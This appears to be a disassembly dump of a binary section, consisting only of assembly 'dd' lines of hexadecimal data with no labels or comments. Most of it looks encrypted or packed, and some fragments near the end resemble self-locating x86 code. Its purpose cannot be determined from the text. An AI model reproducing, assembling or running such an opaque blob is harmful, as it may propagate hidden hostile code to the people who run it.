		dd 94819865h, 15668CF5h, 11A1C732h, 3112DD65h, 11E94E36h
		dd 9506D416h, 0C6ECCBE2h, 3152DD53h, 11A29069h,	1A668832h
		dd 15664ABBh, 9E694232h, 15661132h, 7D3A68B3h, 9E073954h
		dd 9C34063Eh, 11A490D0h, 96668832h, 1E140F0h, 94067E16h
		dd 4429FFE5h, 0D7E7EE12h, 0EA07D228h, 94380606h, 156615F6h
		dd 4E28732h, 1A664432h,	156629BAh, 1560F832h, 49E68832h
		dd 0BEC69515h, 4584AB60h, 1566158Ah, 4DA48932h,	926286B1h
		dd 1A3A0626h, 156610BDh, 178F7D32h, 7599BBE9h, 0B943F18Dh
		dd 18F7057h, 33668832h,	0EDCDA4CBh, 0EDBBD1D5h,	8A30BFEBh
		dd 0C67F888Fh, 0D252BCF0h, 0BAE7B6B7h, 15661434h, 15636132h
		dd 0FC0C4432h, 443BA604h, 0DEEFE0BBh, 944284B9h, 156640F6h
		dd 0AC37D732h, 15661136h, 50814BB3h, 0DE6714D8h, 5081C9B3h
		dd 0FC3F41D8h, 15668839h, 0D9679E37h, 69E363B8h, 477F783Bh
		dd 15668888h, 9EA4C532h, 14037931h, 9E8C90C0h, 1603D331h
		dd 0AA061E28h, 40F5B5F1h, 7427E2B2h, 1D5B0DB9h,	58F429Ah
		dd 71662232h, 4FC3595Fh, 7CC99040h, 0D43FD345h,	9E08BCB9h
		dd 0BD4D44A7h, 14ED8734h, 0ED664432h, 0EA999B63h, 0DB67EECDh
		dd 48EE86Bh, 45664432h,	40B63B5Dh, 0B3224381h, 57D487D4h
		dd 9B2761A1h, 2A7DA88Ch, 74934B4Fh, 32FF35B1h, 1A67429Ah
		dd 156019B6h, 0CD5DE832h
		dd 15460A3Dh, 93694432h, 15662233h, 1ABC2ACBh, 1567E1B4h
		dd 156AAD32h, 0CD842232h, 4695EC3Bh, 0A088D97Dh, 0A0EFFDB4h
		dd 13CE24C7h, 15619C3Dh, 96698832h, 15664433h, 1576CBC7h
		dd 5E21132h, 0FA30B6AEh, 85D340Eh, 0D52173B4h, 88EDB5CFh
		dd 13C909A6h, 157FC13Dh, 18F2232h, 7E661132h, 7F3E5EB2h
		dd 26A07343h, 0E9706075h, 1B88B951h, 947EF8D1h,	976A605Eh
		dd 9438090Dh, 726A3576h, 1452F108h, 946A606Eh, 726A065Eh
		dd 94526808h, 976AAC76h, 0EC386F0Dh, 1563B9DBh,	1EEF1E32h
		dd 0FC668832h, 15664434h, 16614B6Dh, 9E063C92h,	0A269E8E8h
		dd 9EDD22E8h, 9E0743C5h, 9C35350Eh, 11A509D1h, 94664432h
		dd 156626F1h, 317A9632h, 90A1716Eh, 13CE63ABh, 15662233h
		dd 1569913Dh, 1F8F8832h, 13664432h, 1A9DE6E9h, 0B47A3343h
		dd 3152774Eh, 11A2C569h, 75662232h, 1565943Dh, 0C5E68832h
		dd 11ED4B33h, 73662232h, 7440268Bh, 454284B9h, 1163A4BBh
		dd 96662232h, 11E115F2h, 9E9ED416h, 9C376006h, 11A7A3D3h
		dd 94661132h, 15668CF3h, 316AC332h, 1FEB2D6Eh, 0FC661132h
		dd 15668837h, 77B9E22Dh, 118AA3C3h, 9C661132h, 0F7EFAC26h
		dd 156286B3h, 0D7E52232h, 31729636h, 9E00E86Eh,	0FC07BDF0h
		dd 0EA99F749h, 15661CDBh, 9C08232h, 5696F6F7h, 1D7D9A42h
		dd 0A8E5542Ah, 13CEA0A3h, 0B8E24B33h, 0ED662236h, 1D5B8C19h
		dd 90698E9Ah, 15664435h, 1567AE3Dh, 9E9A1132h, 0BD7C19BFh
		dd 0D7ED2434h, 20A7A353h, 941BAB10h, 0D15A24DBh, 94BF4541h
		dd 0D15A8EF3h, 208F9041h, 751B3210h, 1563CC3Dh,	94002232h
		dd 0FCBCD0DDh, 1566883Dh, 0F0D5D2E7h, 0CBEEFA49h, 9A8AF1D6h
		dd 749A023Bh, 1567C53Dh, 429E2232h, 306F7E8Dh, 5AB17F40h
		dd 0E2E79BC5h, 16A5195Dh, 3C39E833h, 0B8F09CBh,	0ED17A200h
		dd 9C62CEB1h, 10D83506h, 3C668832h, 18F1AC3h, 0AA662232h
		dd 27C218B3h, 72280D59h, 96E01B7Ah, 4C899B34h, 462D739Bh
		dd 0D5893963h, 0D4E643DBh, 38FA2CCh, 9D3FDABAh,	1D8FD3EAh
		dd 0ED664432h, 0DA3A00Dh, 0BF875D6Ah, 24AEB9C7h, 1AAE75F3h
		dd 156625B2h, 0C8DF7132h, 7476D7EAh, 9C37B199h,	0D0DC70D3h
		dd 941CF72Dh, 0F37949D8h, 4FB74548h, 9262E3B1h,	0FC3A353Eh
		dd 1566883Dh, 0F34F3072h, 0FDAFE12Ah, 23F3DCCEh, 9EDCF5EAh
		dd 9C35602Eh, 11A5A3D1h, 96661132h, 9E18CF1h, 92691816h
		dd 15662223h, 15661DDBh, 558AAB32h, 0D071EE94h,	0EAB78E69h
		dd 3152EED9h, 11A2096Bh, 0E9664432h, 424216B9h,	0D2E7F6BBh
		dd 15668836h, 156283B3h, 29E12232h, 97694D16h, 1566883Dh
		dd 15664EDBh, 44C12732h, 5798FBC4h, 4099F5D5h, 0D0E7A1BBh
		dd 15662236h, 9262D4B1h, 31EDAC1Eh, 1AE54B16h, 75662232h
		dd 0FCB6A63Dh, 15668837h, 0E087C8EDh, 0EF8F4325h, 0FC99EEE4h
		dd 15668838h, 1A5E620Eh, 0AA2347E6h, 90A1FF75h,	13C909A6h
		dd 15664430h, 15662FDBh, 0AB1D8232h, 0B16563B8h, 0F8D92F6Eh
		dd 9C311800h, 9E9D98C5h, 0D1E5AC0Eh, 1EE94B36h,	75662232h
		dd 1A9C9A54h, 156688B1h, 0A3692532h, 1572CB3Ch,	93CC1132h
		dd 4ACCF6D2h, 5465B2FAh, 39FB6CEh, 0FBA9BDEBh, 0ECE68D79h
		dd 5CE54BB2h, 0FC662232h, 15661139h, 70589511h,	70C8A225h
		dd 94AE3675h, 0C44CA9F1h, 43AD897Bh, 0C44CFC8Ch, 4B950B7Bh
		dd 15661DDBh, 0CB0C0732h, 2ADC0B64h, 0DE1B7966h, 0EAD94601h
		dd 3C9977CDh, 1A931BC9h, 156623B3h, 828FE832h, 0E0668832h
		dd 9599F260h, 0E44E18DBh, 4F5CD0B2h, 15668EDBh,	0C5FA6632h
		dd 4660384Ch, 15661189h, 5DA50932h, 3C15DC3Eh, 5D8DA3F9h
		dd 9C15893Eh, 1F8FD3EBh, 1D664432h, 0DB8D6500h,	978B6EEh
		dd 118A09EFh, 9C664432h, 0EAD80606h, 34661132h,	1A8FD6C3h
		dd 10664432h, 7C1833F4h, 96C1D602h, 6956B0C3h, 0AD360638h
		dd 1BC05CEFh, 9D3D7D17h, 128E490Dh, 24FE717Ah, 0C5911229h
		dd 62B18107h, 4DA5A19Dh, 0D6E78F1Bh, 75E83B76h,	1567953Dh
		dd 1A9A8832h, 156645B6h, 90EDDE32h, 13CE190Fh, 16EB8752h
		dd 73664432h, 9E07FDB9h, 0BD4D44A7h, 15696134h,	0C9C14432h
		dd 0E66C2DFCh, 0D34F05C4h, 52DC4FFFh, 0EE48AD91h, 9669DDCDh
		dd 15661133h, 81E34FCBh, 1760EBB3h, 75662232h, 1560993Dh
		dd 9B698832h, 15664432h, 75A49552h, 43077053h, 944294B9h
		dd 156640F6h, 0AE9F4232h, 3FD5C558h, 1BD08753h,	959FC4CEh
		dd 153EA13Dh, 1A8F1132h, 8D668832h, 0F742661Bh,	19D42BF5h
		dd 0C45692EAh, 0AC379C49h, 417969AAh, 946ECBF3h, 7632AAC3h
		dd 4CADA15Ch, 0D6E78F33h, 7B5169A4h, 15661EDBh,	0D17CAC32h
		dd 0D4B04FEAh, 0DB381258h, 0CA7F25EBh, 15673163h, 0DE674432h
		dd 14ED2D6Bh, 0E9661132h, 156609DBh, 0A536B832h, 9EA70ACDh
		dd 0D1E53536h, 14EB8736h, 0ED664432h, 3F8DA252h, 1567953Dh
		dd 749A8832h, 0C091ADB5h, 0ED27CBB5h, 9C62FDB1h, 9FD8AC06h
		dd 942D2400h, 9648EAFCh, 20909004h, 34196B0Ch, 73061AC3h
		dd 9E68FDB3h, 1564963Dh, 4B378832h, 0DFA5C553h,	3C54AD43h
		dd 4DE41F9h, 5D792461h,	0B74FD63Fh, 2EA52F6Dh, 0CD910EF9h
		dd 704A57Ah, 0D64F29B3h, 12E92D6Ah, 75661132h, 46953F3Dh
		dd 90ED256Dh, 13CE2A0Fh, 40F39ACEh, 0FC602019h,	1566443Eh
		dd 0D4E4016Fh, 7704A72Ch, 7F7DAAA4h, 1563AD52h,	736A2232h
		dd 9462E025h, 6CB27DD8h, 0A8E52512h, 13CE0AA3h,	0B1E21E33h
		dd 759977C5h, 0C5AFFA54h, 1565AA3Dh, 0A2691132h, 0CD5DE9CAh
		dd 157EC63Dh, 2C9E2232h, 0FE01EE1h, 1A9977DCh, 15664DBCh
		dd 2D24232h, 3B549189h,	0A833E957h, 15664433h, 1A3BCC1Bh
		dd 156616B7h, 0A269E832h, 740724F8h, 3162A364h,	7D400C7Dh
		dd 964284B9h, 0FCE740F6h, 7D403F7Dh, 1567923Dh,	0E99F8832h
		dd 26ECADB3h, 0D4E7381Ah, 6B470A65h, 0FCE7711Bh, 6B475F65h
		dd 26ECE3B3h, 0FC060B1Ah, 1566883Bh, 10D17BE1h,	1CF8CED3h
		dd 612BAF39h, 0ED07A3BBh, 1563FE60h, 0C44F2232h, 944205B9h
		dd 15668CF6h, 0A334BC32h, 2521929Ch, 31729AC2h,	0EC624CB1h
		dd 12EF4B98h, 75662232h, 6D899054h, 7D36E9F2h, 15663687h
		dd 4D422EBBh, 0FCCDED6Bh, 15668822h, 0D5073733h, 0DF4CCAA5h
		dd 896EDE44h, 0C1B2A884h, 0EAB504DBh, 1DE52DCDh, 75661132h
		dd 15660D3Dh, 47074432h, 15662288h, 9F941032h, 31720330h
		dd 156280B3h, 0FC062232h, 1566113Fh, 28AACA27h,	0B88FCDFh
		dd 7C69A1B7h, 9E0046A5h, 2907D2F3h, 7EE24BDAh, 75662232h
		dd 15661DDAh, 3E27932h,	5A18BB8Ch, 0DA8D74E0h, 4D9F9A85h
		dd 156698DAh, 0EC33F232h, 3E533DC7h, 0DDFF04DBh, 1EC41952h
		dd 8B86C5C2h, 4B241984h, 0E1DB4453h, 94740D64h,	9030B0DFh
		dd 9E8EAB20h, 0D1E5351Eh, 14ED8736h, 0EC664432h, 156EA93Dh
		dd 9C691132h, 15668830h, 0AD8F2552h, 75662233h,	0FF6B388Dh
		dd 0DDD9EE67h, 110E25F6h, 9C662251h, 449A352Eh,	0DEEF79BBh
		dd 944248B9h, 156626F6h, 19EA1E32h, 1A668832h, 156642B4h
		dd 15EE2D32h, 44661132h, 1566898Bh, 16974532h, 316AA92Bh
		dd 1562D5B3h, 93698832h, 1566442Ah, 156631DBh, 37512C32h
		dd 5850B840h, 9E679734h, 8BA5D56Ch, 9AA567A4h, 15633260h
		dd 0FEE74432h, 2BA60D31h, 0D6E7C233h, 2BA6A731h, 0CBE72468h
		dd 0A37A7BCh, 156614DBh
		dd 0FE09BA32h, 73078A44h, 9D8E9460h, 1ED77C2h, 17A20916h
		dd 0FC664432h, 15662235h, 0B4024E04h, 0BFA5F886h, 156ACA3Dh
		dd 97692232h, 15661134h, 15660F3Dh, 0D6E74432h,	24A0A1Ch
		dd 5FB4FAB3h, 0EE4F9BA4h, 5FB487B3h, 0FEE731A4h, 24A391Ch
		dd 11DCDAC7h, 94664432h, 0EB7403D9h, 94B53869h,	0EB74A9F1h
		dd 45931E69h, 9C62CEB1h, 4E3E352Eh, 1567073Dh, 1A9E4432h
		dd 15663EBAh, 0C8E67132h, 15746124h, 3B4B4432h,	613C8D01h
		dd 13451009h, 31678A6Bh, 79C5BD49h, 58F8953h, 0EA661132h
		dd 0CE40307h, 6B4D009Fh, 207CF5F1h, 9E48250Ah, 9C33AC2Eh
		dd 11A3C5D7h, 96662232h, 39E115F7h, 759ED416h, 1560C93Dh
		dd 9C692232h, 15661132h, 4535E9CEh, 1566418Ah, 4DA5AB32h
		dd 0FC3DCF33h, 15668835h, 7BB9864Ah, 759AEAD7h,	2719A952h
		dd 0DEE7F61Ah, 159C7E55h, 4707DB53h, 0D869035Ah, 0D7E7D20Bh
		dd 0D354B4DDh, 1EDF2BBh, 11A29016h, 1A668832h, 15664CBBh
		dd 17E62D32h, 75661132h, 156B6153h, 4FB64432h, 1BCAE08Dh
		dd 92CCE723h, 0D67DA08Ah, 0F6EF17CAh, 1562E1B3h, 0FEE71132h
		dd 15668836h, 494258B5h, 0EC422EBBh, 1566A863h,	0FCE78832h
		dd 40124B06h, 0D4E7D333h, 40121E06h, 4C670354h,	1563AC52h
		dd 651E2232h, 0A79D76F5h, 9969D01Eh, 15664430h,	2907E5B9h
		dd 0C7E21EF1h, 0E0668832h, 91698F0Eh, 156622FBh, 1AA42DCEh
		dd 156792B6h, 156EAD32h, 0C8C2232h, 0A6603CF7h,	0DF5AEDE7h
		dd 1463C03Dh, 1D8F2232h, 13661132h, 3CABE05Bh, 73BDD23Fh
		dd 1A43DD0Fh, 156735B6h, 0AF00E832h, 9E00067Eh,	739343E8h
		dd 1A993F0Fh, 1566C3B7h, 0AF34BC32h, 15662230h,	0AC37E333h
		dd 15668832h, 14EC9533h, 469F786Bh, 0A5364085h,	0E3BE7E55h
		dd 0EBB6B2E2h, 119006FAh, 4DA12123h, 0FC3D7012h, 1566443Bh
		dd 0C184C979h, 2EA1A51Ch, 1AC6B458h, 15676DB6h,	14E22D32h
		dd 0E0661132h, 4C42BCCDh, 156280B3h, 1A062232h,	156613BCh
		dd 1AC43932h, 7D079A8Dh, 15662232h, 964215B9h, 0FC938CF6h
		dd 15664587h, 15662ADBh, 2B0FC532h, 572A2BABh, 75AF752Fh
		dd 55209954h, 74B89A54h, 65DB3567h, 0D8E7448Ah,	27A466D4h
		dd 9E66D4B3h, 0FC4F4537h, 0FEC4B6Fh, 75662232h,	0FCA0A63Dh
		dd 15668822h, 96C4DD7Dh, 0E83B130h, 0CE2F8695h,	0FA664B33h
		dd 15BAAD53h, 58F2232h,	87661132h, 39429CD1h, 82A2632Bh
		dd 927814Eh, 404466BCh,	8D59168Fh, 75DC164Ch, 94415B2Bh
		dd 0F440EAC0h, 4FB3A16Bh, 1A3BADBBh, 156623B2h,	7306E932h
		dd 0A1A8F289h, 8E8F25C6h, 75662232h, 0AE90AE3Dh, 5D879C0Ah
		dd 34FFFD53h, 0F4E77ADFh, 13881279h, 0F4A751C5h, 0ECD81236h
		dd 0E22E451Eh, 1080D0ECh, 37616EB3h, 0FBE74472h, 1BA612B8h
		dd 1A38E003h, 156689BFh, 4E8FBD32h, 1A662232h, 156619BDh
		dd 17E78732h, 75664432h, 6E52D53h, 0FC661132h, 1566883Ch
		dd 0F4375C86h, 13007F32h, 5A69A854h, 80E236Fh, 9C66444Dh
		dd 17D80606h, 0E27EFC50h, 7F8009ECh, 0D465714Fh, 5B2021D4h
		dd 0FE31E7B3h, 0E4EF90B2h, 156DAD6Ch, 0E1392232h, 1D227D0Bh
		dd 27165549h, 0B195B16Dh, 156AA23Dh, 128F1132h,	8F668832h
		dd 6C0002F3h, 98ED0545h, 13CE3A67h, 156E0C3Dh, 93694432h
		dd 15662230h, 99697052h, 15668833h, 1AAFC1CEh, 156612B7h
		dd 94347132h, 0E8F6F5F8h, 0AD001D68h, 9C070310h, 0BD4D4487h
		dd 48FE834h, 0D6664432h, 0B845F49Fh, 8F323104h,	0E05A6A71h
		dd 0B9E75C36h, 0E59E9D54h, 3152EE53h, 11A20B6Bh, 15672CCEh
		dd 11ED2232h, 11A29016h, 0FC668832h, 15664437h,	0F0CAED68h
		dd 7393D2ACh, 9400BECDh, 43126006h, 47007A54h, 4312AB54h
		dd 73B6B954h, 156CAD68h, 5D442232h, 48B7D02h, 1A789069h
		dd 9169870Eh, 15662032h, 156D923Dh, 73068832h, 0DBE792B9h
		dd 709FC514h, 156CF853h, 2ED18832h, 3FFAF848h, 0FA8E20E4h
		dd 9DA79963h, 316A03F9h, 0FC6280B1h, 15662222h,	0CBC0FD9Bh
		dd 7DBDE208h, 5F02760Dh, 0E95B7760h, 0EBD4A760h, 0C29008FCh
		dd 41901654h, 4F002316h, 35CFFFB2h, 78FD2C1h, 5E664432h
		dd 1FAE51A0h, 5E103F14h, 0E9158EDFh, 7FBA81Ch, 659DA204h
		dd 16B7953Dh, 29938832h, 94E24BDBh, 1A662233h, 156618B1h
		dd 1A9EE832h, 156644B0h, 95694332h, 15661133h, 1A8DB4C7h
		dd 156727B6h, 14E92D32h, 0EC661132h, 91694A0Eh,	15664566h
		dd 1572A33Dh, 0FD061132h, 15668835h, 14218CB4h,	4A240585h
		dd 4FA3198Bh, 0DE5AE943h, 1454C03Dh, 1C8F2232h,	2E661132h
		dd 4A649F13h, 91DB7FE2h, 30991F54h, 147C953Dh, 92698832h
		dd 15664439h, 156624DBh, 3E9CEA32h, 295D17D6h, 14E24BF8h
		dd 75662233h, 0E271FBB3h, 749FE678h, 9169A70Eh,	15662105h
		dd 15779D3Dh, 198F8832h, 0F0664432h, 0CDEAC65h,	1D3060E9h
		dd 73E4107Fh, 1A996A0Fh, 15664FB7h, 4037ED32h, 0BE698E8Fh
		dd 1A6EFD31h, 0FC4F2199h, 9F97106Fh, 58FD133h, 8B664432h
		dd 0EF0B8CCCh, 0A808F69Fh, 778528ABh, 46B83E7Fh, 0F6E6BD81h
		dd 73B5E73Fh, 3D643862h, 353E22F1h, 1A0679EAh, 7506D78Dh
		dd 15E28753h, 74664432h, 1AC61E53h, 15666AB6h, 0D5E7E832h
		dd 18531415h, 1A07A884h, 156618B3h, 0AE00E832h,	0A269796Dh
		dd 7D3443C5h, 2ECD4144h, 94BC7F68h, 41C9CEC0h, 9EB6ABF6h
		dd 0D1E53526h, 1D8EE836h, 0A9664432h, 0F4CE1E35h, 0FC72918Bh
		dd 15668823h, 0D6DB0CE7h, 83D6122Eh, 0E9A18E52h, 67653110h
		dd 128F1E35h, 20662232h, 4C7F47A2h, 0FC075611h,	156644BCh
		dd 18EC2DCAh, 0FC661132h, 1566883Ah, 0A1FC0389h, 52AD2321h
		dd 3E33A4BBh, 9B698E9Ah, 15664435h, 1567A33Dh, 98931132h
		dd 0BBFE87AFh, 156FAD34h, 5DB22232h, 0C891B9B0h, 0EA5790A6h
		dd 68FB1E1h, 8A662232h,	0DA6E0967h, 490965D8h, 0D023C76h
		dd 94A22BD3h, 0AE35EA92h, 14ECC00Eh, 9461AFF3h,	0FC7DC5D9h
		dd 4DA59052h, 46066E35h, 7F4240B3h, 4D5C9749h, 0A01D7B1Fh
		dd 9369D308h, 1566443Ch, 1561CB52h, 0A1731132h,	0F8E91876h
		dd 0EDA525F0h, 9481AB65h, 156615F5h, 11890B32h,	494278B5h
		dd 0ED4226BBh, 9E7667CDh, 0D1E5AC36h, 90EFB836h, 13CE03CBh
		dd 15661FDBh, 6936BB32h, 0DD70F218h, 448B8E45h,	9E6715CEh
		dd 9C35AC36h, 11A5C5D1h, 96662232h, 9E115F1h, 0FC06D416h
		dd 15664439h, 0FF180272h, 5BD29604h, 738D6F52h,	7482DB8Ah
		dd 1506EA5Ah, 317A9832h, 15669489h, 4EB84532h, 1571AA3Dh
		dd 78F1132h, 4C668832h,	0FDCBF1FDh, 7BF9D352h, 688B3197h
		dd 18F9AE8Fh, 2CDBC90Eh, 0FC608A3Bh, 15661122h,	0A5787BA0h
		dd 8405F726h, 1A65E691h, 521B0DBh, 156F619Fh, 0C5634432h
		dd 185FA553h, 1091BE14h, 5E7B85A8h, 31420031h, 18FC9B63h
		dd 0DD4F5A2Fh, 0BE9F706Bh, 156655DBh, 7D761232h, 0DC30D128h
		dd 51B9F057h, 435717EFh, 989A15FAh, 0BD4BC08Fh,	0EDCB7D34h
		dd 5E37FF61h, 0CD676088h, 31221269h, 5E37A516h,	188F0688h
		dd 0D5662232h, 2E6A9226h, 0D44C910Bh, 0A8B49044h, 1568BE5Ah
		dd 31629832h, 9F697152h, 1566442Ah, 156631DBh, 0B8900B32h
		dd 4D9FE659h, 788DF845h, 0B64F09C7h, 0BA1A52AEh, 156A6153h
		dd 13124432h, 0D871C0E6h, 695CD13Ch, 75CDCCC6h,	43CB9DB2h
		dd 9A01D5B3h, 743F0CD2h
		dd 0A9B35BFh, 0FC06429Ah, 1566223Eh, 0D0A13F8Bh, 0DE082539h
		dd 0F1DF49F8h, 74A0A954h, 1577F89Fh, 5B88832h, 146DDD64h
		dd 0B5FA30A1h, 9BFBE1BEh, 10366D74h, 3B1B5367h,	7127081Fh
		dd 31221278h, 544C8D1Ah, 404B0E56h, 75485F25h, 1A06BA53h
		dd 15668DB5h, 0DFE72232h, 1A31F86Fh, 156611BAh,	0EA07D732h
		dd 96386006h, 9F6926F6h, 15661133h, 7D9A4BCEh, 156646FBh
		dd 0FC4216BBh, 15661138h, 9FFE4D30h, 0F0AE4097h, 48F1CD0h
		dd 0F5661132h, 0E9AE6F6h, 0D1D5834Eh, 0A68805A1h, 75B25D8Fh
		dd 826F15BFh, 9369429Ch, 15662237h, 0E0384152h,	0FCB57753h
		dd 15664426h, 6B522A65h, 0B68E07A4h, 7B7821BFh,	7F0C2704h
		dd 69859899h, 0EA9AE8DBh, 156061CDh, 0B4794432h, 0D573B5AFh
		dd 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 0B2C0D5F2h, 96A4EAD6h
		dd 152AA8EDh, 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch
		dd 5E89798Ah, 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah
		dd 152A382Ch, 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah
		dd 51D6AC8Ah, 60D554A8h, 59D7BA86h, 42F6CE25h, 0DCF14325h
		dd 0BA72E732h, 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah, 60D558DDh
		dd 0BD38C882h, 462CFBFFh, 911DF07h, 0C6D55207h,	0B85E0003h
		dd 152A5492h, 0AEAE3075h, 8FA75CDDh, 570D1272h,	0A6B0D9FBh
		dd 0AEA4EAD2h, 0E96FDD7Bh, 51A25863h, 195FABA8h, 0DCAA3075h
		dd 0BA725032h, 0CB2F168Ch, 13850C1Bh, 142B9675h, 152ABD54h
		dd 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h, 8D000030h, 0AF5E038Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0FCCDAB13h, 8D89C38Bh, 6A805B9h,	6E9h, 3E80C300h
		dd 0C7082152h, 0A8146985h, 6F9C06h, 1DD08100h, 0C7529C1Ch
		dd 0A80BBD85h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0F47834F2h, 0B5FFF750h
		dd 6A8298Dh, 5B59E781h,	95FF1B23h, 6A820DDh, 6CEB9CB8h
		dd 0FF006A52h, 0A81B3195h, 0EBC08B06h, 54D72D59h, 65174A73h
		dd 0B5E1CCE6h, 8EF8CCAFh, 13872B7Bh, 0AAE45CAh,	35B5472Ch
		dd 3E269AC9h, 7F8229B8h, 5F2E4145h, 61D8CA2Ch, 9E772A7Fh
		dd 5EF71322h, 6CD62C0Bh, 178C555Bh, 0C13124C7h,	5E4AC833h
		dd 63B1D760h, 0E763490Fh, 0F305E983h, 2CB8BA4h,	0ABA0B859h
		dd 0D9583256h, 67B13256h, 0E864A973h, 683D597h,	0A4FD0BC2h
		dd 0A958DEDDh, 18B13256h, 0FE36FF50h, 0D5597546h, 0B0B13256h
		dd 0B0C7D8D7h, 835834F8h, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h
		dd 0BA17FB23h, 25FBD5EEh, 0FDF53FD5h, 0DAACC0ADh, 0B7342291h
		dd 23AC7ACFh, 20AD29B7h, 75FD7A1Ah, 987C2779h, 7352284Ch
		dd 24BCFFA0h, 0F305E983h, 8DDB8BA4h, 0AF8198BDh, 2F8D8D06h
		dd 0B806B009h, 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h
		dd 0E9F67549h, 5, 0FE05F200h, 0EC81F9CBh, 4, 58240489h
		dd 6192B360h, 1ED9BD83h, 750006A8h, 0E9BD8309h,	6A82Dh
		dd 53501974h, 11B8C08Bh, 89000004h, 0A80FD585h,	139D8D06h
		dd 0FF06AAA2h, 83585BD3h, 0A82DE9BDh, 17740006h, 11B85350h
		dd 89000004h, 0A80FD585h, 0B49D8D06h, 0FF06AA9Eh, 0F8585BD3h
		dd 0B6CA8B60h, 816061B6h, 0B089D7F2h, 0FB8B6611h, 5A505261h
		dd 0F5AD089h, 88Fh, 2890F00h, 60000000h, 8D8DF861h, 6B00CE6h
		dd 89F2B70Fh, 0A805B98Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 4E067E24h
		dd 0A564E322h, 48F0F7Eh, 66000000h, 0C75093B8h,	0A8146985h
		dd 699006h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 8F0FE45Ah, 14h, 8E8h, 0D99B2900h
		dd 0ED8C8BBFh, 0AD8D8931h, 5F06A816h, 0C3C7BB66h, 0BBD85C7h
		dd 6A8h, 0BD890000h, 6A832A5h, 5233C3BFh, 9B5FF57h, 6606A835h
		dd 8D89FE8Bh, 6A81E49h,	20DD95FFh, 6A06A8h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 19F89DC3h
		dd 0E1A5E99Bh, 22D2BA66h, 95FF006Ah, 6A81B31h, 68EBC08Bh
		dd 72635F0h, 6C7DC276h,	43AA2A48h, 21AB4772h, 5EA79C27h
		dd 0E32A333Bh, 21BE00ECh, 9908A23Ch, 7401305h, 13042660h
		dd 0CAFFEA51h, 4A66C989h, 0A61F500Ch, 69F162DFh, 0DA140991h
		dd 3500499Ah, 0B748CFB6h, 184A0A94h, 97BC2317h,	0B18B3204h
		dd 76039DCFh, 1AFD46D6h, 0B7ED6243h, 0ADC39C23h, 36AD23D6h
		dd 439A5420h, 14E8h, 0AF785500h, 39761CC9h, 4111934Eh
		dd 0A73D8EC2h, 0F503CA99h, 0D6816661h, 8B58F2B7h, 0A816159Dh
		dd 8DC08106h, 0FC000067h, 19A768h, 37E98100h, 5F3E93C9h
		dd 0B1108BF5h, 78F281BFh, 662BC874h, 0A7AFC381h, 0CA6BEA81h
		dd 8B560ED1h, 0A825E5B5h, 0F2815B06h, 6090118Bh, 52C88B66h
		dd 13E8008Fh, 68000000h, 14AAA518h, 2257E9EDh, 2695BD52h
		dd 8A5701E7h, 93BE557Ah, 5E0D6188h, 92BEE881h, 5E87E83h
		dd 0B000000h, 0CE39F60Eh, 20D18D8Bh, 815906A8h,	8392BAC0h
		dd 6E97Eh, 0DC710000h, 9CC2CF50h, 0F01EF83h, 1985h, 6F68100h
		dd 0E969A3C4h, 3Eh, 0EDC475CFh,	459B099h, 277F148Ch, 11E8949Ah
		dd 28000000h, 0ED26EB7Fh, 4BBAC3F3h, 9CFE1CD1h,	0DD1B8BECh
		dd 3411BD89h, 0E95E06A8h, 0FFFFFF4Dh, 38530E1Eh, 0DCC8C5B2h
		dd 0FEAFB719h, 0EDE9BE4Dh, 60000000h, 0A8D88C66h, 0DF840F04h
		dd 8B000000h, 0A80011B5h, 0FE8306h, 22850Fh, 85C60000h
		dd 6A815D5h, 69696845h,	0B5FF8E72h, 6A831F9h, 6971858Dh
		dd 0D0FF06ABh, 818589h,	0F08B06A8h, 0FE93E80h, 3185h, 0C4858D00h
		dd 0FF06AD7Ch, 25BD8BD0h, 8106A807h, 1184C7h, 11B58B00h
		dd 8706A800h, 8B9F7h, 0A4F30000h, 11B58Bh, 858D06A8h, 6ABA1A1h
		dd 0B58BD0FFh, 6A80DF1h, 0F00FE83h, 2285h, 0D585C600h
		dd 5406A815h, 4EBEF468h, 0F9B5FFFFh, 8D06A831h,	0AB697185h
		dd 89D0FF06h, 0A80DF185h, 80F08B06h, 850FE93Eh,	3Ah, 0DF1B58Bh
		dd 858D06A8h, 6AD7CC4h,	0BD8BD0FFh, 6A80725h, 1184C781h
		dd 0C7830000h, 0F1B58B08h, 8706A80Dh, 8B9F7h, 0A4F30000h
		dd 0DF1B58Bh, 858D06A8h, 6ABA1A1h, 0C361D0FFh, 0E52858Dh
		dd 858906B0h, 6A83379h,	0EE9h, 56F46300h, 43h, 0
		dd 0E9000000h, 4EFh, 0B0108A68h, 6E54E906h, 2F68FFF8h
		dd 0E906B011h, 0FFF86E4Ah, 0B0129568h, 6E40E906h, 0DB7EFFF8h
		dd 86AB1492h, 0BCDC47C3h, 600EB1F5h, 1D3EE125h,	2C4DCA50h
		dd 0B20845E6h, 0EE3C7111h, 0D86E2745h, 99DD477h, 0FD3D4F9Dh
		dd 0C7B607E5h, 5EFF9A81h, 0D76CACDEh, 0FD56AF57h, 0D77BBFC9h
		dd 0EE49AF57h, 54F7A8F5h, 6206E91Dh, 0D79EBA2Bh, 7DC7514Ah
		dd 35D16ACAh, 0FFE22C93h, 0F03D16B5h, 0FFE22E76h, 40E14AB5h
		dd 77DD4632h, 374A114h,	17A0000h, 2143AC22h, 355ACB68h
		dd 96118770h, 0DF699D26h, 0B5FFECACh, 0E309BD96h, 0FFED6159h
		dd 83C523B5h, 0B5FFED87h, 0BFF9D27Dh, 4CE2CDF7h, 0BDF49809h
		dd 77F12770h, 0B36553A8h, 0DC0AB1E3h, 941950F3h, 0BDCF1583h
